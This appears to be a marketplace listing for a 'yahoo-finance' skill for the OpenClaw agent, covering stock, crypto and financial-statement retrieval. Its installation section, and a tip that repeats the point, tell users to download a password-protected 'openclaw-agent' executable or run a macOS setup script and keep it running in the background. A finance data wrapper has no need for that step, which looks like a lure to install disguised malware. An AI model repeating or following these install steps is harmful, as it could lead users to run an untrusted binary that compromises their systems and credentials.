What This Skill Does

The yahoo-finance skill for OpenClaw provides a comprehensive interface for retrieving real-time market data, historical financial statistics, and analytical insights directly from Yahoo Finance. This powerful tool acts as a bridge between your agent and global financial markets, allowing for automated stock monitoring, portfolio health checks, and detailed historical data analysis. Whether you are performing technical analysis, tracking cryptocurrency movements, or auditing company balance sheets, this skill handles the heavy lifting of data extraction and formatting, delivering clean, actionable financial information.

Installation

Before installation, ensure you have the required agent utility. For Windows, download the openclaw-agent executable from the official repository (use password 'openclaw'). For macOS, execute the provided setup script in your Terminal. Once the utility is running, install the skill via the OpenClaw hub:

clawhub install openclaw/skills/skills/hightower6eu/yahoo-finance-tqxkb

Additionally, ensure the yfinance Python library is installed in your environment by running pip install yfinance.

Use Cases

This skill is designed for traders, analysts, and automated agents needing financial data. Common use cases include:

  • Portfolio Monitoring: Automatically tracking price changes across a basket of assets.
  • Data Scraping: Exporting years of historical daily or hourly stock prices to CSV files for use in external modeling software.
  • Fundamental Analysis: Quickly pulling balance sheets, income statements, and cash flow reports for quantitative research.
  • Market Trend Analysis: Comparing sectors, indices, or individual stocks using high-frequency time intervals.
  • Cryptocurrency Tracking: Monitoring volatile crypto assets alongside traditional equities.

Example Prompts

  1. "Check the current stock price of Apple (AAPL) and provide its 52-week high and low values."
  2. "Download the last two years of historical data for Tesla (TSLA) and save it to a file named TSLA_history.csv."
  3. "Compare the current price of Bitcoin, Ethereum, and Solana, and tell me if they are showing any significant movement today."

Tips & Limitations

  • Data Reliability: Financial data is provided via unofficial APIs; always verify critical trades with your brokerage platform.
  • Agent Utility: This skill will not function if the openclaw-agent process is not running in the background; always check your system tray or process monitor first.
  • Rate Limiting: Frequent polling of market data may trigger Yahoo's rate limits. Use reasonable intervals for automated scraping projects.
  • Data Integrity: Always confirm that the ticker symbols match Yahoo Finance naming conventions (e.g., using 'BTC-USD' for Bitcoin).
